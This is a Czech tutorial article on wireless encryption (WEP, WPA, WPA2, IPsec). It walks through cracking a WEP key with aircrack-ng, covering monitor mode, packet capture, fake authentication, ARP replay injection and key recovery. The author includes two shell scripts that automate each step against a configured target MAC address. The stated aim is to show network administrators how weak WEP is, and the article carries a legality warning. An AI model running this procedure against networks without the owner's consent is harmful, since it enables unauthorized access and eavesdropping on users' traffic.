Úvod
K napsání tohoto článku mě vedl fakt, že většina bezdrátových sítí v mém okolí včetně části té naší stále používá WEP šifrování nebo vůbec žádné. S WPA se tu prakticky nedá najít žádné AP, kromě pár výjimek, a na WPA2 není šance tu narazit vůbec. Kvůli slabému zabezpečení některých spojů jsem se rozhodl pro jednu z příštích schůzí správců oblastí předvést, jak jednoduše se dá WEP prolomit a jak se dostat k informacím, které po síti putují. K tomu jsem použil nástroje aircrack-ng.
Proč je šifrování důležité
Při volbě zabezpečení v naší síti nám nejde často ani tak o fakt, že by se mohl někdo připojit, ale že data uživatelů cestují ve vzduchu jakkoli nezabezpečena. Pro znesnadnění odposlouchávání sítě se nejčastěji používá šifrování na linkové vrstvě. O všechno se pak stará WiFi část. Není to jediné možné řešení. Můžeme se setkat i s otevřenými sítěmi, které jsou šifrované pomocí IPsec tunelu, což je návrhově čistší řešení, které jde ruku v ruce s problémy.
Možnosti
Pro zabezpečení na linkové vrstvě se nejčastěji používá WEP,WPA nebo WPA2. Cílem článku je ukázat, že v případě WEP se o zabezpečení prakticky nejedná. WPA a WPA2 jsou v rozumném čase neprolomitelné a prakticky jiná možnost než slovníkový nebo „brute force“ útok nejde použít i přesto, že je WPA slabší než WPA2. Nebudu se zabývat šifrováním do podrobna, ale uvedu pouze základní popis.
WEP
WEP je dnes stále často používané řešení bezpečnosti v bezdrátových sítích. Dá se najít u řady profesionálních poskytovatelů Internetu. Kromě „lenosti“ administrátorů je jeho rozšíření patrně důsledkem nekompatibility u staršího zařízení.
WEP klíč může být 64 až 256 bitový (u některých výrobců), ale častěji narazíme na 128 bitový. WEP klíč se skládá z inicializačního vektoru (IV) a samotného klíče. Šifrovací metoda, která je použita se nazývá RC4. Je velmi rychlá, ale v některých případech napadnutelná. Pro útok na APčka zabezpečená WEP klíčem jsou důležité inicializační vektory a jejich počet určuje úspěšnost nalezení klíče. V jednom z mých pokusů mi na 128 bitový klíč stačilo přibližně 25 000 inicializačních vektorů.
Existuje více verzí WEP zabezpečení, ale v praxi se s nimi tak často nesetkáte.
WPA
WPA vzniklo jako reakce na slabiny WEP. Jedná se o část návrhu WPA2, která byla implementována výrobci ještě předtím, než bylo uvolněno. Z WPA2 je použit jeho třetí návrh a neobsahuje vlastnosti, které WPA2 ano. WPA je navrženo pro karty, které podporují WEP. Z toho vyplývá mnohem lepší kompatibilita i se staršími zařízeními. Hlavní změnou oproti WEP je TKIP. To je protokol, který zajišťuje pravidelnou výměnu klíčů mezi AP a klienty.
V praxi se setkáme se dvěma druhy použití WPA.
- WPA-PSK
- WPA-EAP
První z nich se hodí pro použití v malých sítích jako je třeba kancelář, domácí síť, možná i propojení sousedů. Spočívá v tom, že se pro přístup do sítě používá heslo a další komunikace už se řídí přes měnící se klíče.
WPA-EAP je popsáno v 802.11×, kdy se pro ověření uživatele používá uživatelské jméno a heslo. Ověření probíhá na ověřovacím serveru. Tohle řešení je dobré například pro firmy, kde každý zaměstnanec má vlastní přístupové údaje, které nepoužívá pouze v kombinaci s přípojením do intranetu, ale také třeba pro přihlášení na firemní počítače.
WPA2
Standard WPA2 je „dotažené“ WPA podle specifikace IEEE 802.11i. Přináší mnohem bezpečnější algoritmus režim CCMP. Nevýhodou je nekompatibilita některých zařízení mezi sebou a prakticky žádná podpora u zařízení vyvinutých před rokem 2006. Dnes většina prodávaných notebooků, routerů a WiFi karet WPA2 podporuje. Praxe ale ukázala, že i když 2 zařízení podporují WPA2, rozdíly v implementaci nedovolily dvěma bodům se spojit.
IPsec
Existují i názory, že by se šifrování nemělo na linkové úrovni vůbec řešit a měl by se použít tunel IPsec. Více informací lze najít v článku o IPsec na Root.cz.
Legálnost
U nás a v mnoha dalších státech není legální nabourávat se do cizích sítí. Proto následující postup nepoužívejte na AP, ke kterým nemáte svolení od majitele.
Co zvolit za hardware
Dalo by se říci, že obecně platí pravidlo „Na Linuxu jedině Atheros“ a v tomto případě to nebude jiné. Ale i v Atheros chipsetech pro WiFi karty se najdou nepodporované výjimky. Další chipsety, které můžete zvolit jsou třeba od firem RaLink, Intel nebo Broadcom.
Já pro tyto účely používám kartu Intel 4965AGN a té se také budou týkat návod, který by měl s minimální změnou fungovat i u ostatních karet.
Aircrack-ng
Co musí ovladač podporovat
Vlastnost, kterou pro „otevírání“ zašifrovaných APček potřebujeme, se jmenuje „packet injection“. Ta dovoluje odesílat nástroji aircracku modifikované pakety ven.
Linuxový kernel se packet injection úspěšně brání, standardně ho nepodporuje. Pro moji kartu stačí použít jediný patch. Pro ostatní karty se množství patchů může lišit. Není problém najít patche přes google nebo na stránkách aircracku.
Postup
Než začneme, musíme přepnout WiFi kartu do „Monitor“ módu (wlan0 nahraďte vlastním interfacem) a nastavit kanál.
ip l s wlan0 down
iwconfig wlan0 mode Monitor channel X
Dalším krokem je spuštění zachytávání paketů.
airodump-ng -c <kanál> --bssid <cílová MAC adresa> -w <log soubor> wlan0
Volba -c nastavuje kanál, –bssid adresu APčka, které se má napadnout a -w je cesta k logovacímu souboru. Na konci se uvádí náš interface.
Hned po té otestujeme, jestli jede „Packet injection“.
godie ~ # aireplay-ng -9 wlan0
18:37:29 Trying broadcast probe requests...
18:37:29 Injection is working!
18:37:30 Found 2 APs
[...]
Pokud se neobjeví nápis „Injection is working!“, tak to nemusí znamenat, že něco je špatně. Občas pomůže spustit logování provozu v předchozím kroku. Někdy zase je potřeba znovu načíst ovladač.
Než začneme s útokem, ještě se musíme k APčku přihlásit, abychom mohli „injektovat“ vlastní pakety a AP je neignorovalo.
aireplay-ng -1 6000 -o 1 -q 10 -e <essid> -a <mac cíle> -h <moje mac> wlan0
Číslo 6000 znamená, že se každých 6 sekund pokusí karta o autentifikaci a autorizaci s APčkem. Volba „-o 1“ zajistí, aby se odeslala pouze jedna skupina paketů nutných pro autentifikaci a autorizaci. Další volba „-q 10“ nastavuje jak často se mají posílat keep alive pakety v sekundách.
Teď už nám funguje logování provozu, jsme asociovaní s APčkem a víme, že packet injection funguje. Je na čase spustit jednu z možností jak ovlivňovat APčko našimi pakety. Tím získáme potřebný přenos dat a APčko nám bude posílat v potřebném množství paketů, které potřebujeme.
Bez packet injection je napadnutí APčka také možné, ale trvá to nesrovnatelně déle.
Posledním krokem je spuštění analýzy paketů.
aircrack-ng -z -b <cílová mac> <log soubor>*.cap
Program se bude pokoušet každých 5000 přijatých inicializačních vektorů o výpočet klíče. Pokud se mu to povede, tak ho vypíše a akce je úspěšná.
Pomocné skripty
Pro jednoduší ovládání jsem napsal dva skripty, které ulehčují práci při spouštění jednotlivých kroků. Akce z každého kroku musí běžet najednou každá ve svém shellu, takže opisování MAC adres a dalších údajů není nejpohodlnější řešení.
První skript crackwifi.sh
#!/bin/sh
MYMAC=$2
TARGETMAC=$3
ESSID=$4
LOG=$6
C=$5
case $1 in
"-h" )
echo "$0 <X/4> <moje mac> <cílová mac> <essid> <kanál> <log>"
;;
"1" )
echo "Krok jedna:"
airodump-ng -c $C --bssid $TARGETMAC -w $LOG wlan0
;;
"2" )
echo "Krok dvě:"
# Normální
#aireplay-ng -1 0 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
# Rozmazlená APčka
aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
;;
"3" )
echo "Krok tři:"
aireplay-ng -3 -b $TARGETMAC -h $MYMAC wlan0
;;
"4" )
echo "Krok čtyři:"
aircrack-ng -z -b $TARGETMAC $LOG*.cap
;;
esac
Druhý skript fight.sh
#!/bin/sh
ESSID=TEST
MYMAC=00:21:5c:47:49:33
TARGETMAC=00:4F:67:03:51:30
CHANNEL=1
LOG=/tmp/test
if [ "$1" == "r" ]; then
rmmod iwlagn
rmmod iwlcore
rmmod rfkill
sleep 1
modprobe iwlagn
fi
if [ "$1" == "s" ]; then
rmmod iwlagn
rmmod iwlcore
rmmod rfkill
sleep 2
modprobe iwlagn
sleep 1
ip l s wlan0 down
iwconfig wlan0 mode Monitor
ip l s wlan0 up
sleep 2
fi
sh crackwifi.sh $1 $MYMAC $TARGETMAC $ESSID $CHANNEL $LOG
Použití skriptů
Informace o síti, kterou chceme napadnout nastavíme na začátku skriptu fight.sh. Skripty budou možná potřebovat menší úpravy pro vaše WiFi karty a vás systém.
Zapnutí monitor módu:
sh fight.sh s
Navrácení WiFi karty do původního stavu:
sh fight.sh r
Krok 1 (Zapnutí logování):
sh fight.sh 1
Krok 2 (Připojení k AP):
sh fight.sh 2
Krok 3 (Injektování paketů):
sh fight.sh 3
Krok 4 (Analýza zalogovaných paketů a nalezení klíče):
sh fight.sh 4
Závěr
Byl jsem rychlostí výpočtu 128 bitového klíče překvapen a po několika přenesených kB přes napadnutou WiFi byl klíč nalezen. Celá akce trvala přibližně 10 minut. Pokud zkouším napadnout naše APčka venku, už to není tak jednoduché a chvilku to trvá. Nejedná se o dny ale spíše desítky minut podle signálu.